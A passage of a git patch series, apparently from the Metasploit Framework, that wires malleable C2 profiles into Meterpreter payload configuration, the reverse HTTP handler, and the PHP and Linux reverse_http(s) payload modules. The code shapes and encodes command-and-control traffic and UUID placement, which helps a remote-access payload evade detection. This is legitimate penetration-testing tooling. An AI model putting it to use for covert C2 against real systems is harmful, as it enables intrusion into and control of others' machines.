conn_id = req.conn_id end + elog("MC2DBG on_request resource=#{req.relative_resource.inspect} " \ + "conn_id=#{req.conn_id.inspect} " \ + "info=#{info.nil? ? 'nil' : { sum: info[:sum], mode: info[:mode], uuid: !info[:uuid].nil? }.inspect}") + if uuid # Configure the UUID architecture and payload if necessary uuid.arch ||= self.arch From 492c0300eb77fdc79a495c3235422af512b5a5bf Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2026 17:14:13 +1000 Subject: [PATCH 11/26] Fix MC2 payload gen Primary fix here is to make sure we put the UUID in the configuration in the right format. It was being ignored by Windows, but not by python. --- lib/rex/payloads/meterpreter/config.rb | 63 ++++++++++++++++---------- 1 file changed, 38 insertions(+), 25 deletions(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index ed4bf85149138..eaa041a4cd5a0 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -3,12 +3,14 @@ require 'rex/post/meterpreter/extension_mapper' require 'rex/post/meterpreter/packet' require 'msf/core/payload/malleable_c2' +require 'rex/payloads/meterpreter/uri_checksum' require 'securerandom' class Rex::Payloads::Meterpreter::Config include Msf::Payload::UUID::Options include Msf::ReflectiveDLLLoader + include Rex::Payloads::Meterpreter::UriChecksum MET = Rex::Post::Meterpreter @@ -95,32 +97,43 @@ def add_c2_tlv(tlv, opts) c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) - url = "#{opts[:scheme]}://#{Rex::Socket.to_authority(lhost, opts[:lport])}" - url << "/#{opts[:uri].delete_prefix('/').delete_suffix('/')}/" if opts[:uri] - url << "?#{opts[:scope_id]}" if opts[:scope_id] - - c2_tlv.add_tlv(MET::TLV_TYPE_C2_URL, url) - - # if the transport URI is for a HTTP payload we need to add a stack - # of other stuff that can only be set in MSF, not in the C2 profile - if url.start_with?('http') - proxy_url = '' - if opts[:proxy_host] && opts[:proxy_port] - prefix = 'http://' - prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' - proxy_url = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" + # Only build a C2 URL when we actually have a host. Staged payloads + # inherit the stager's socket and carry no host; guard so a nil lhost + # cannot reach Rex::Socket.to_authority (which requires a String). + if lhost && !lhost.to_s.empty? + url = "#{opts[:scheme]}://#{Rex::Socket.to_authority(lhost, opts[:lport])}" + url << "/#{opts[:uri].delete_prefix('/').delete_suffix('/')}/" if opts[:uri] + url << "?#{opts[:scope_id]}" if opts[:scope_id] + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_URL, url) + + # if the transport URI is for a HTTP payload we need to add a stack + # of other stuff that can only be set in MSF, not in the C2 profile + if url.start_with?('http') + proxy_url = '' + if opts[:proxy_host] && opts[:proxy_port] + prefix = 'http://' + prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' + proxy_url = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" + end + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_URL, proxy_url) unless (proxy_url || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) unless (opts[:proxy_user] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) unless (opts[:proxy_pass] || '').empty? + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? + + # Per-transport UUID for C2 profile placement (uuid_get/header/cookie). + # Payloads fall back to URL-path extraction when this TLV is absent. + # Bake a checksum-tuned :init_connect URI (>=URI_CHECKSUM_UUID_MIN_LEN, + # checksum8 => mode), not the bare to_uri. The handler needs the tuned + # form to extract both the UUID and the mode; a bare UUID yields nil. + if @opts[:uuid] + tuned = generate_uri_uuid(URI_CHECKSUM_INIT_CONN, @opts[:uuid]).sub(%r{\A/}, '') + c2_tlv.add_tlv(MET::TLV_TYPE_C2_UUID, tuned) + end end - - c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_URL, proxy_url) unless (proxy_url || '').empty? - c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) unless (opts[:proxy_user] || '').empty? - c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) unless (opts[:proxy_pass] || '').empty? - - c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty? - c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? - - # Per-transport UUID for C2 profile placement (uuid_get/header/cookie). - # Payloads fall back to URL-path extraction when this TLV is absent. - c2_tlv.add_tlv(MET::TLV_TYPE_C2_UUID, @opts[:uuid].to_s) if @opts[:uuid] end tlv.tlvs << c2_tlv From a01c8d4badefab669a36a858f4745b9849000768 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2026 17:15:38 +1000 Subject: [PATCH 12/26] Fix mettle config generation Properly supports stageless now. --- lib/msf/base/sessions/mettle_config.rb | 41 ++++++++++++++++---------- 1 file changed, 25 insertions(+), 16 deletions(-) diff --git a/lib/msf/base/sessions/mettle_config.rb b/lib/msf/base/sessions/mettle_config.rb index ba0b346a43ad9..d14e1959a3c47 100644 --- a/lib/msf/base/sessions/mettle_config.rb +++ b/lib/msf/base/sessions/mettle_config.rb @@ -97,15 +97,22 @@ def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid unless opts[:transport_config] - case opts[:scheme] - when 'http' - opts[:transport_config] = [transport_config_reverse_http(opts)] - when 'https' - opts[:transport_config] = [transport_config_reverse_https(opts)] - when 'tcp' - opts[:transport_config] = [transport_config_reverse_tcp(opts)] + if opts[:stageless] == true + case opts[:scheme] + when 'http' + opts[:transport_config] = [transport_config_reverse_http(opts)] + when 'https' + opts[:transport_config] = [transport_config_reverse_https(opts)] + when 'tcp' + opts[:transport_config] = [transport_config_reverse_tcp(opts)] + else + raise ArgumentError, "Unknown scheme: #{opts[:scheme]}" + end else - raise ArgumentError, "Unknown scheme: #{opts[:scheme]}" + # Staged payloads inherit the stager's socket (fd transport); + # the stage must not synthesise its own C2 transport. Use an + # explicit empty array ([] is truthy, so the build is skipped). + opts[:transport_config] = [] end end @@ -122,14 +129,16 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) opts[:config_block] = config.to_b - # Keep the legacy CLI config for backward compatibility during transition - case opts[:scheme] - when 'http' - opts[:uri] = generate_http_uri(opts[:transport_config].first) - when 'https' - opts[:uri] = generate_http_uri(opts[:transport_config].first) - when 'tcp' - opts[:uri] = generate_tcp_uri(opts[:transport_config].first) + # Keep the legacy CLI config for backward compatibility during + # transition. Skipped for staged payloads, which have no transport. + transport = opts[:transport_config].first + if transport + case opts[:scheme] + when 'http', 'https' + opts[:uri] = generate_http_uri(transport) + when 'tcp' + opts[:uri] = generate_tcp_uri(transport) + end end opts[:uuid] = Base64.encode64(opts[:uuid].to_raw).strip From 2b7e6d4b23941c93c82082263788956c94cc2470 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2026 21:25:13 +1000 Subject: [PATCH 13/26] Wire MC2 into PHP payloads --- lib/rex/payloads/meterpreter/config.rb | 2 -- modules/payloads/singles/php/meterpreter_reverse_http.rb | 5 +++++ modules/payloads/singles/php/meterpreter_reverse_https.rb | 5 +++++ 3 files changed, 10 insertions(+), 2 deletions(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index eaa041a4cd5a0..3c6e6decf16d2 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -76,8 +76,6 @@ def add_session_tlv(tlv, opts) end def add_c2_tlv(tlv, opts) - # Build the URL from the given parameters, and pad it out to the - # correct size lhost = opts[:lhost] if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost) lhost = "[#{lhost}]" diff --git a/modules/payloads/singles/php/meterpreter_reverse_http.rb b/modules/payloads/singles/php/meterpreter_reverse_http.rb index d8d2f211daa9b..82297487b5459 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_http.rb @@ -26,6 +26,10 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Php_Php ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end def generate_config(opts = {}) @@ -63,6 +67,7 @@ def generate_reverse_http(opts = {}) config_block = Rex::Text.encode_base64(generate_config( url: url, scheme: opts[:scheme], + c2_profile: datastore['MALLEABLEC2'], stageless: true )) met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") diff --git a/modules/payloads/singles/php/meterpreter_reverse_https.rb b/modules/payloads/singles/php/meterpreter_reverse_https.rb index f959327481062..77d01dae2d2b1 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_https.rb @@ -26,6 +26,10 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Php_Php ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end def generate_config(opts = {}) @@ -63,6 +67,7 @@ def generate_reverse_http(opts = {}) config_block = Rex::Text.encode_base64(generate_config( url: url, scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], stageless: true )) met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") From b60e6455bc665fbfcd7b6c477d6bdd388f91d7ac Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2026 22:14:48 +1000 Subject: [PATCH 14/26] Remove debug log and fix uuid loading in C2 --- lib/msf/core/handler/reverse_http.rb | 6 +----- lib/rex/payloads/meterpreter/config.rb | 10 ---------- 2 files changed, 1 insertion(+), 15 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 0c662bb998c9a..ad48137a917cb 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -386,16 +386,12 @@ def on_request(cli, req) conn_id = req.conn_id end - elog("MC2DBG on_request resource=#{req.relative_resource.inspect} " \ - "conn_id=#{req.conn_id.inspect} " \ - "info=#{info.nil? ? 'nil' : { sum: info[:sum], mode: info[:mode], uuid: !info[:uuid].nil? }.inspect}") - if uuid # Configure the UUID architecture and payload if necessary uuid.arch ||= self.arch uuid.platform ||= self.platform - request_summary = "#{luri} with UA '#{req.headers['User-Agent']}'" + request_summary = "URI '#{luri}' with UA '#{req.headers['User-Agent']}'" if info[:mode] && info[:mode] != :connect conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 3c6e6decf16d2..0afa8e40d1541 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -121,16 +121,6 @@ def add_c2_tlv(tlv, opts) c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty? c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? - - # Per-transport UUID for C2 profile placement (uuid_get/header/cookie). - # Payloads fall back to URL-path extraction when this TLV is absent. - # Bake a checksum-tuned :init_connect URI (>=URI_CHECKSUM_UUID_MIN_LEN, - # checksum8 => mode), not the bare to_uri. The handler needs the tuned - # form to extract both the UUID and the mode; a bare UUID yields nil. - if @opts[:uuid] - tuned = generate_uri_uuid(URI_CHECKSUM_INIT_CONN, @opts[:uuid]).sub(%r{\A/}, '') - c2_tlv.add_tlv(MET::TLV_TYPE_C2_UUID, tuned) - end end end From b130aa937e73d2c78ad388229e471aaf55f6f644 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 12:03:56 +1000 Subject: [PATCH 15/26] Add IN/OUTBOUND encoding to correctly handle encoding --- lib/msf/core/payload/malleable_c2.rb | 28 ++++++++++++++++++------- lib/rex/post/meterpreter/client_core.rb | 2 +- lib/rex/post/meterpreter/packet.rb | 3 ++- 3 files changed, 24 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 227591523d0df..8df0072018a5c 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -248,9 +248,10 @@ def build_get_tlv(http_get, c2_uri) http_get.get_section('client') {|client| self.add_http_tlv(get_uri, client, get_tlv) add_skip_tlvs(get_tlv, self.http_get&.server&.output) + add_inbound_encoding_tlv(get_tlv, self.http_get&.server&.output) client.get_section('metadata') {|meta| - add_encoding_tlv(get_tlv, meta) + add_outbound_encoding_tlv(get_tlv, meta) add_uuid_tlvs(get_tlv, meta) } } @@ -263,9 +264,10 @@ def build_post_tlv(http_post, c2_uri) http_post.get_section('client') {|client| self.add_http_tlv(post_uri, client, post_tlv) add_skip_tlvs(post_tlv, self.http_post&.server&.output) + add_inbound_encoding_tlv(post_tlv, self.http_post&.server&.output) client.get_section('output') {|client_output| - add_encoding_tlv(post_tlv, client_output) + add_outbound_encoding_tlv(post_tlv, client_output) prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.join("") post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? @@ -290,11 +292,23 @@ def add_skip_tlvs(group_tlv, server_output) group_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX_SKIP, suffix_len) unless suffix_len == 0 end - def add_encoding_tlv(group_tlv, section) - enc_flags = MET::C2_ENCODING_NONE - enc_flags = MET::C2_ENCODING_B64URL if section.has_directive('base64url') - enc_flags = MET::C2_ENCODING_B64 if section.has_directive('base64') - group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != MET::C2_ENCODING_NONE + def encoding_flags_for(section) + return MET::C2_ENCODING_NONE if section.nil? + return MET::C2_ENCODING_B64 if section.has_directive('base64') + return MET::C2_ENCODING_B64URL if section.has_directive('base64url') + MET::C2_ENCODING_NONE + end + + # Client->server body/metadata encoding (request) + def add_outbound_encoding_tlv(group_tlv, section) + enc = encoding_flags_for(section) + group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_OUTBOUND, enc) if enc != MET::C2_ENCODING_NONE + end + + # Server->client body encoding (response) + def add_inbound_encoding_tlv(group_tlv, section) + enc = encoding_flags_for(section) + group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_INBOUND, enc) if enc != MET::C2_ENCODING_NONE end def add_uuid_tlvs(group_tlv, section) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 7ef06ce4f2b33..0f325776fcbb8 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -151,7 +151,7 @@ def transport_list response.each(TLV_TYPE_C2) { |t| # TODO: Consider adding more information to the output for malleable profiles? - # TLV_TYPE_C2_GET, TLV_TYPE_C2_POST, TLV_TYPE_C2_PREFIX, TLV_TYPE_C2_SUFFIX, TLV_TYPE_C2_ENC, + # TLV_TYPE_C2_GET, TLV_TYPE_C2_POST, TLV_TYPE_C2_PREFIX, TLV_TYPE_C2_SUFFIX, TLV_TYPE_C2_ENC_INBOUND, TLV_TYPE_C2_ENC_OUTBOUND, # TLV_TYPE_C2_PREFIX_SKIP, TLV_TYPE_C2_SUFFIX_SKIP, # TLV_TYPE_C2_UUID_COOKIE, TLV_TYPE_C2_UUID_GET, TLV_TYPE_C2_UUID_HEADER # Not sure if this stuff is useful for this display though. diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 0619d8ddb1276..f6037c6c3c36d 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -131,7 +131,7 @@ module Meterpreter TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload -TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) +TLV_TYPE_C2_ENC_INBOUND = TLV_META_TYPE_UINT | 720 # Server-inbound (client->server) body/metadata encoding TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes) TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes) TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in @@ -139,6 +139,7 @@ module Meterpreter TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s TLV_TYPE_SESSION_FLAGS = TLV_META_TYPE_UINT | 727 # session-level config flags (e.g. FLAG_STAGELESS, FLAG_DEBUG) +TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Server-outbound (server->client) body encoding # # C2 Encoding flags From 6c884629d50194bfca5c1c8fcf8e04908a3397a7 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 13:46:55 +1000 Subject: [PATCH 16/26] Wire MC2 into mettle --- lib/msf/core/handler/reverse_http.rb | 4 ++-- .../payloads/singles/linux/x64/meterpreter_reverse_http.rb | 5 +++++ .../payloads/singles/linux/x64/meterpreter_reverse_https.rb | 5 +++++ .../payloads/singles/linux/x86/meterpreter_reverse_http.rb | 5 +++++ .../payloads/singles/linux/x86/meterpreter_reverse_https.rb | 5 +++++ 5 files changed, 22 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index ad48137a917cb..e1260544299df 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -391,7 +391,7 @@ def on_request(cli, req) uuid.arch ||= self.arch uuid.platform ||= self.platform - request_summary = "URI '#{luri}' with UA '#{req.headers['User-Agent']}'" + request_summary = "URI '#{req.resource}' with UA '#{req.headers['User-Agent']}'" if info[:mode] && info[:mode] != :connect conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) @@ -435,7 +435,7 @@ def on_request(cli, req) # Process the requested resource. case info[:mode] when :init_connect - print_status("Redirecting stageless connection from #{request_summary} to #{conn_id}") + print_status("Redirecting stageless: #{request_summary} -> UUID #{conn_id.gsub(/\//, '')}") # Handle the case where stageless payloads call in on the same URI when they # first connect. From there, we tell them to callback on a connect URI that diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb index e78b5a0f96b7d..2a9f6c3810f2a 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb @@ -32,11 +32,16 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb index 54131decab2c6..d38ef903a2b6f 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb @@ -32,11 +32,16 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb index 7efda64defbcc..4f28cda163138 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb @@ -32,11 +32,16 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb index d8bdc12fe2cd6..41964109ab16b 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb @@ -32,11 +32,16 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec From 44b3b639c3c527c2c3224c07649e57646dc22b24 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 14:07:42 +1000 Subject: [PATCH 17/26] Correctly handle UUID encoding/decoding --- lib/msf/core/handler/reverse_http.rb | 63 ++++++++++++++++++++++++---- lib/msf/core/payload/malleable_c2.rb | 17 +++++++- lib/rex/post/meterpreter/packet.rb | 5 ++- 3 files changed, 74 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index e1260544299df..2bab479bc7b52 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -280,24 +280,69 @@ def setup_handler end end + # Extract the connection id (the checksum-tuned base64url UUID string + # produced by `generate_uri_uuid`) from an incoming request, so that + # `process_uri_resource` can map it to a session. The id can arrive in + # three places depending on the C2 profile placement directive: + # + # * query parameter (profile: `parameter "name";`) + # * request header (profile: `header "name";`) + # * trailing path seg (default — no placement directive) + # + # For the path case, the URI looks like `/`, where `` + # is the profile's per-verb `set uri` if defined, otherwise `LURI` + # (each is registered as a separate mount point in `all_uris`). + # Taking the last `/`-separated segment skips the base regardless of + # which one was used. Profile authors should not put `/` in + # prepend/append directives — that would split the id across segments + # and defeat this scheme. + # + # If the profile applied `prepend` / `append` / `base64` / `base64url` + # to the id on the payload side, undo those transforms here before + # handing the result to `process_uri_resource`. def find_resource_id(cli, request) if request.method == 'POST' - directive = self.c2_profile&.http_post&.client&.id&.parameter - cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 - unless cid - directive = self.c2_profile&.http_post&.client&.id&.header - cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 - end + placement = self.c2_profile&.http_post&.client&.id else - directive = self.c2_profile&.http_get&.client&.metadata&.parameter + placement = self.c2_profile&.http_get&.client&.metadata + end + + cid = nil + if placement + directive = placement.parameter cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 unless cid - directive = self.c2_profile&.http_get&.client&.metadata&.header + directive = placement.header cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 end end - request.conn_id = cid || request.resource.split('?')[0].split('/').compact.last + cid ||= request.resource.split('?')[0].split('/').compact.last + cid = unwrap_profile_uuid(cid, placement) if cid && placement + + request.conn_id = cid + end + + # Reverse the prepend/append + base64 transforms the profile applied + # to the id on the payload side. If a declared wrapper is missing from + # the candidate, leave the candidate alone — this is not a payload + # request, and `process_uri_resource` will return nil for it. + def unwrap_profile_uuid(candidate, placement) + prefix = placement.prepend.map{|d| d.args[0]}.join('') + suffix = placement.append.map{|d| d.args[0]}.join('') + + return candidate unless prefix.empty? || candidate.start_with?(prefix) + return candidate unless suffix.empty? || candidate.end_with?(suffix) + + candidate = candidate[prefix.length..] unless prefix.empty? + candidate = candidate[0...-suffix.length] unless suffix.empty? + + if placement.has_directive('base64') + candidate = Rex::Text.decode_base64(candidate) + elsif placement.has_directive('base64url') + candidate = Rex::Text.decode_base64url(candidate) + end + candidate end def add_response_headers(req, resp) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 8df0072018a5c..8ab3597678491 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -251,7 +251,7 @@ def build_get_tlv(http_get, c2_uri) add_inbound_encoding_tlv(get_tlv, self.http_get&.server&.output) client.get_section('metadata') {|meta| - add_outbound_encoding_tlv(get_tlv, meta) + add_uuid_transform_tlvs(get_tlv, meta) add_uuid_tlvs(get_tlv, meta) } } @@ -276,6 +276,7 @@ def build_post_tlv(http_post, c2_uri) } client.get_section('id') {|client_id| + add_uuid_transform_tlvs(post_tlv, client_id) add_uuid_tlvs(post_tlv, client_id) } } @@ -311,6 +312,20 @@ def add_inbound_encoding_tlv(group_tlv, section) group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_INBOUND, enc) if enc != MET::C2_ENCODING_NONE end + # UUID placement encoding + prepend/append wrappers. Section is + # `client.metadata` (GET) or `client.id` (POST). + def add_uuid_transform_tlvs(group_tlv, section) + return if section.nil? + + enc = encoding_flags_for(section) + group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_UUID, enc) if enc != MET::C2_ENCODING_NONE + + prepend_data = section.get_directive('prepend').map{|d|d.args[0]}.join("") + group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_PREFIX, prepend_data) unless prepend_data.empty? + append_data = section.get_directive('append').map{|d|d.args[0]}.join("") + group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_SUFFIX, append_data) unless append_data.empty? + end + def add_uuid_tlvs(group_tlv, section) group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, section.get_directive('parameter')[0].args[0]) if section.has_directive('parameter') group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, section.get_directive('header')[0].args[0]) if section.has_directive('header') diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index f6037c6c3c36d..18b5e0e6fc861 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -139,7 +139,10 @@ module Meterpreter TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s TLV_TYPE_SESSION_FLAGS = TLV_META_TYPE_UINT | 727 # session-level config flags (e.g. FLAG_STAGELESS, FLAG_DEBUG) -TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Server-outbound (server->client) body encoding +TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Client->server (request) body encoding (POST only) +TLV_TYPE_C2_ENC_UUID = TLV_META_TYPE_UINT | 729 # Encoding applied to the UUID before placement (URL/header/cookie) +TLV_TYPE_C2_UUID_PREFIX = TLV_META_TYPE_RAW | 730 # Bytes to prepend to the encoded UUID +TLV_TYPE_C2_UUID_SUFFIX = TLV_META_TYPE_RAW | 731 # Bytes to append to the encoded UUID # # C2 Encoding flags From 3da3c7115587ba70032797cb47788c59d02a3920 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 15:31:11 +1000 Subject: [PATCH 18/26] Move to STRING instead of RAW for UUID prefix/suffix --- lib/msf/core/payload/malleable_c2.rb | 15 ++++++++------- lib/rex/post/meterpreter/packet.rb | 4 ++-- 2 files changed, 10 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 8ab3597678491..8b5b497a1f733 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -268,11 +268,7 @@ def build_post_tlv(http_post, c2_uri) client.get_section('output') {|client_output| add_outbound_encoding_tlv(post_tlv, client_output) - - prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.join("") - post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? - append_data = 